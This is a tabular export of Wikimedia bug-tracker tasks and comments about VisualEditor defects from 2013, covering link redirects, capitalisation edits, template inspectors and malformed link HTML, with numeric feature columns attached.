+https://bugzilla.wikimedia.org/show_bug.cgi?id=50240",High,80.0,1371075060,1395441844.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-cdmjeut7byvwilwzjfyv,task_description,declined,True,c1,2,True,False,False,-3,,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+233029,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages","AFAICT this underlying bug was fixed in October; the issue that MediaWiki's search system sometimes comes back with bad results from time to time (falsely claiming that short titles don't exist) is distinct, as part of bug 54361.",,,1395441844,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,3,True,,,37,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+233023,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages","Another couple of examples I found:
+I write Indian religion, select the two words and try to add the relevant link; it doesn't recognize the page as an existing redirect, while it lists Indian religions as ""matching page"".
+Same story for Tafkap; in this case, a couple of all caps variants are listed as redirects.
+In these cases the ""click in the text field"" trick didn't work.",,,1394543448,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,3,False,,,36,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+233017,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages","There are a bunch of bugs about this, so I'm pretty sure I'm adding my comment to the wrong one :D
+Anyway, it is possible that the inspector does not recognize immediately a page as an existing redirect. See https://en.wikipedia.org/wiki/File:VE_wrong_link_state_in_link_editor.png .
+https://en.wikipedia.org/wiki/New_York_Kennedy is a valid redirect page.
+Unfortunately this is not easy to reproduce. 
+(I never managed to do it by just typing New York Kennedy and then wikiling those words, anyway.)
+I sometimes managed to reproduce by selecting a completely random word (or even more than one), clicking on the chain icon, writing New York Kennedy in the dialog. Every time though it does correct itself if, after observing the same result from the screenshot above, you click again in the text field, so the page will correctly appear as a blue link listed as a redirect.",,,1394541885,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,3,False,,,36,,1,0,1,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0
+233011,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages",James couldn't either so RESOLVED WORKSFORME,,,1391312264,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,3,True,,,30,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+233003,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages",I can't reproduce this bug.,,,1391312206,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,3,True,,,30,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+232996,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages","Many redirects exist because they respond to expected (simplified) alternative names, plurals, synonyms, non-complete names of people and places, and popular uses in general. It is likely that these popular uses are also used in articles. When selecting a word, the difference between VE recognizing or not these redirects is important:
+
+* If the redirect is recognized and the destination page is shown, most editors will understand the difference and will choose the complete name.
+
+* If the redirect is not shown then you can be a lazy editor and insert the link (having no idea whether it will result in a red or blue link), you can avoid the link altogether just in case, or you can be a good editor (as I try to be), open a new tab, and search that term only to find that many times such term is a known redirect.
+
+Do the latter 20 times in a long article and you will come to this bug report as I did. I found this to be a big nuisance in real editing. (with the side benefit that I tested Cirrus Search more and I even found a bug, thanks to these deviations caused by VE)
+
+PS: or simply show the redirects in italics, as they are already displayed in some MediaWiki lists.",,,1390032494,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,3,False,,,28,,1,0,1,1,1,1,1,1,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0
+232991,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages",*** Bug 59208 has been marked as a duplicate of this bug. ***,,,1390024134,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,3,True,,,28,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+232984,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages","I'd say the desired behavior would be that the link inspector show the existing redirect in different way (such as blue but with a parenthetical note that this is a redirect).
+
+In most cases, the link to the target article is the preferred link choice, but in many cases the redirect is also valid. For cases where the redirect points to a subsection, the redirect is probably the preferred link most of the time.",,,1377278376,,PHID-USER-nyv6rqxnzdy3oe323a3d,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,3,False,,,7,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0
+232975,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages",*** Bug 50274 has been marked as a duplicate of this bug. ***,,,1373519588,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+232968,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages","In my local copy, the redirect URL is not filtered out, but I did notice another bug in that code: https://gerrit.wikimedia.org/r/69871",,,1371830218,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+232963,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages",*** Bug 49540 has been marked as a duplicate of this bug. ***,,,1371153385,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+51495,VisualEditor: Capitalisation does not register as a change,"If someone capitalises a character(see https://en.wikipedia.org/w/index.php?title=Founder_effect&diff=559607253&oldid=558757694 for example) the VisualEditor does not recognise it as an alteration to page text and rejects their edit.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371063300,1372015558.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-clapsacnmffdpmc6uic3,task_description,resolved,True,c1,2,False,False,True,-3,,0,1,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+232562,VisualEditor: Capitalisation does not register as a change,"Filed 53210 for my last comment which I see it now, it was unrelated.",,,1377174192,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-clapsacnmffdpmc6uic3,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+232558,VisualEditor: Capitalisation does not register as a change,It is actually being reported now on itwp: in order to do this http://it.wikipedia.org/w/index.php?title=DNasi_attivata_da_caspasi&diff=60101664&oldid=60089990 I had to delete the word and link it back again. Our guidelines about style require pages in that section to appear with the capital letter. I'll also add a link to https://bugzilla.wikimedia.org/show_bug.cgi?id=50452 which looks related. Thanks.,,,1373719943,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-clapsacnmffdpmc6uic3,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+232551,VisualEditor: Capitalisation does not register as a change,Ed's fix on Friday corrected this; sorry for the bug. Now live in production.,,,1372015558,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-clapsacnmffdpmc6uic3,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+51493,VisualEditor: Transclusion inspector blank on opening some templates,"Screenshot
+
+See associated screenshot - this is for https://www.mediawiki.org/wiki/Template:Extension
+
+When clicking the inspector icon, the window opens up but remains entirely blank and happily sits there like it for minutes* at a time. More worryingly, if I follow the normal workflow for a broken element (hit the X, make it go away, try and open it again) the inspector refuses to open at all, not just for that template but for other elements on the page.
+
+*I gave up waiting; it may load, eventually, or never load.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49797
+
+**Attached**: {F11051}",High,80.0,1371060840,1371831543.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-qb2vdcmk4mrkuu43ivqi,task_description,resolved,True,c1,2,False,False,True,-3,,1,0,1,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+232372,VisualEditor: Transclusion inspector blank on opening some templates,*** Bug 50016 has been marked as a duplicate of this bug. ***,,,1371969869,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qb2vdcmk4mrkuu43ivqi,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+232367,VisualEditor: Transclusion inspector blank on opening some templates,*** Bug 49958 has been marked as a duplicate of this bug. ***,,,1371832175,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qb2vdcmk4mrkuu43ivqi,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+232363,VisualEditor: Transclusion inspector blank on opening some templates,Related URL: https://gerrit.wikimedia.org/r/69806 (Gerrit Change I0b661744d0388345561897c9631f15e691737031),,,1371766188,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qb2vdcmk4mrkuu43ivqi,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+232360,VisualEditor: Transclusion inspector blank on opening some templates,*** Bug 49797 has been marked as a duplicate of this bug. ***,,,1371748994,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qb2vdcmk4mrkuu43ivqi,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+232354,VisualEditor: Transclusion inspector blank on opening some templates,*** Bug 49862 has been marked as a duplicate of this bug. ***,,,1371745099,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qb2vdcmk4mrkuu43ivqi,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+232350,VisualEditor: Transclusion inspector blank on opening some templates,"I found this as well. Here are the steps to reproduce:
+
+1. Open up [[mw.VisualEditor:Template test]] in edit mode.
+2. Click on any template, then click on the icon to open the template inspector.
+3. Click on the cross in the top-right-hand corner to close it.
+4. Click on the template inspector icon for the same template again. (It appears to still be there from the first time it was clicked.) This time the inspector appears blank.
+5. Click on the cross in the top-right-hand corner to close it again.
+6. Now, clicking on the template icon for any template on the page will have no effect (i.e. the template inspector doesn't load at all).",,,1371541325,,PHID-USER-rjtk3h6l2quifuajiime,False,,,PHID-TASK-qb2vdcmk4mrkuu43ivqi,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+232344,VisualEditor: Transclusion inspector blank on opening some templates,"Never loads. Trevor, is it selecting the wrong thing, so can't fetch it, or selecting the right thing, but can't fetch it for some other reason?",,,1371248265,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qb2vdcmk4mrkuu43ivqi,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+51488,VisualEditor: Some block objects when selected not triggering the inspector menu (no template/image icon),"Screenshot
+
+Screenshot attached - from https://www.mediawiki.org/wiki/Extension:Syntax_Highlighting
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+
+**Attached**: {F11040}",High,80.0,1371059580,1372037973.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-mgaib3olu55b5fa25dcw,task_description,resolved,True,c1,2,False,False,True,-3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+232022,VisualEditor: Some block objects when selected not triggering the inspector menu (no template/image icon),Marking as fixed.,,,1372037973,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mgaib3olu55b5fa25dcw,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+51481,VisualEditor: Save dialog should not preserve history when opening a second time,"1. Make a change and press save
+2. close the save dialog (^)
+3. Press save again
+
+Note there is now a back button (<) which does nothing.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371048240,1372039076.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-nqjwrvv7obmoxabd6boz,task_description,resolved,True,c1,2,True,False,True,-3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1
+231600,VisualEditor: Save dialog should not preserve history when opening a second time,Related URL: https://gerrit.wikimedia.org/r/70113 (Gerrit Change I297a7d1458e5a1c33b9dcb85272fe5f40893dd88),,,1372034145,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nqjwrvv7obmoxabd6boz,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+51451,VisualEditor: Bad HTML when link seems to have been edited,"From a bug report in /mnt/bugs on parsoid.wmflabs.org.
+
+The edited HTML snippet in question looks like this:
+
+""<a href=""./Turkish_sparrow"" rel=""mw:WikiLink"" data-parsoid='{""a"":{""href"":""./Turkish_sparrow""},""sa"":{""href"":""Turkish sparrow""},""stx"":""simple"",""dsr"":[92,111,2,2]}'><a href=""American%20sparrow"" rel=""mw:WikiLink"">American sparrow</a></a>""
+
+The editor may tried to edit a link from Turkish -> American sparrow
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1370981400,1372215957.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-4g3tuqan3yhuka5pdfba,task_description,resolved,True,c1,2,True,False,True,-3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,1
+229802,VisualEditor: Bad HTML when link seems to have been edited,Speculatively marking as fixed; please re-open if it recurs.,,,1372215957,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4g3tuqan3yhuka5pdfba,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+229798,VisualEditor: Bad HTML when link seems to have been edited,I think this is one of the bugs that has been fixed by https://gerrit.wikimedia.org/r/70434,,,1372215765,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-4g3tuqan3yhuka5pdfba,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0
+229792,VisualEditor: Bad HTML when link seems to have been edited,"Another instance from /mnt/bugs/2013-06-11T19:33:15.924Z-VPN_blocking (on enwp)
+
+<a rel=""mw:WikiLink"" href=""protocol%20tunnel""><a rel=""mw:WikiLink"" href=""protocol%20tunnellng"">protocol tunnell</a></a><a rel=""mw:WikiLink"" href=""protocol%20tunnellng"">ing</a>",,,1371055575,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4g3tuqan3yhuka5pdfba,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1
+229786,VisualEditor: Bad HTML when link seems to have been edited,From: /mnt/bugs/2013-06-10T19:18:14.190Z-Golden-Crowned_Sparrow (editing done on mediawiki.wikimedia.org).,,,1370981817,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4g3tuqan3yhuka5pdfba,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+51439,VisualEditor: Surface should be able to inherit commands and toolbar from other surface,"Right now, we have to do the following in ve.ui.MWReferenceDialog and ve.ui.MWMediaDialog to set up the sub-editor's surface correctly:
+
+this.referenceSurface.addCommands( ve.init.mw.ViewPageTarget.static.surfaceCommands );
+
+Instead of accessing ve.init.mw (and assuming all surfaces with MW*Dialogs will be instantiated by ve.init.mw.ViewPageTarget), we should just be able to say ""initialize this new surface based on this existing surface"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1370964780,1417198558.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-uk5g2utei5kls5xo2fer,task_description,resolved,True,c1,2,False,False,False,-3,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+253594,VisualEditor: Surface should be able to inherit commands and toolbar from other surface,"Not just inherit, but also block from inheritance for specific instantiations (e.g. the caption of an image inside a reference can't take a reference - bug 58270).",,,1386877772,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uk5g2utei5kls5xo2fer,task_subcomment,,True,c1,3,True,,,23,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+253590,VisualEditor: Surface should be able to inherit commands and toolbar from other surface,"Stylesheets should be inherited as well (and be loaded by the surface rather than the dialog) so we don't have to do things like
+
+ve.ui.MWReferenceDialog.static.addLocalStylesheets( [
+	've.ce.Node.css',
+	've.ce.Surface.css',
+	've.ui.Surface.css',
+	've.ui.Context.css',
+	've.ui.Tool.css',
+	've.ui.Toolbar.css'
+] );",,,1370964956,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-uk5g2utei5kls5xo2fer,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+51424,"VisualEditor: Deletion from slugged header causes preceding paragraph to appear to be deleted, but remain in the DM(?)","**Author:** `swalling`
+
+**Description:**
+When attempting to remove an entire section with an h2 header, removing the text of the header does not remove the line separator underneath the header. 
+
+Additionally, one additional delete/backspace action deleted the entire preceding section, and it seems from the resulting content that I merely blanked the header but the wikitext for it remains.
+
+--------------------------
+**Version**: unspecified
